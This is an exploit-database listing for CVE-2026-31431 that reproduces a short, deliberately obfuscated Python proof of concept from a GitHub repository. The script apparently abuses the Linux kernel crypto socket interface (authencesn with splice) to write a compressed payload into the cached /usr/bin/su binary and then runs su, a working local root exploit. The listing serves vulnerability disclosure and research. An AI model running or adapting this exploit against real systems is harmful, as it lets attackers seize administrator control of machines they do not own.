Exploit database

GH-ab874b1531887710ab1a09bd253c23e2

pascal-gujer/cve-2026-31431

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
pascal-gujer/cve-2026-31431Revision 1b2a3f6b72ba

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copy_fail_exp_arm64.py

Python · 724 bytes
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca83d10c023046c3250fa1864b40fd578086083002f94c40bc421a2a06627343d8fa499979fac5190c00436c1587"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")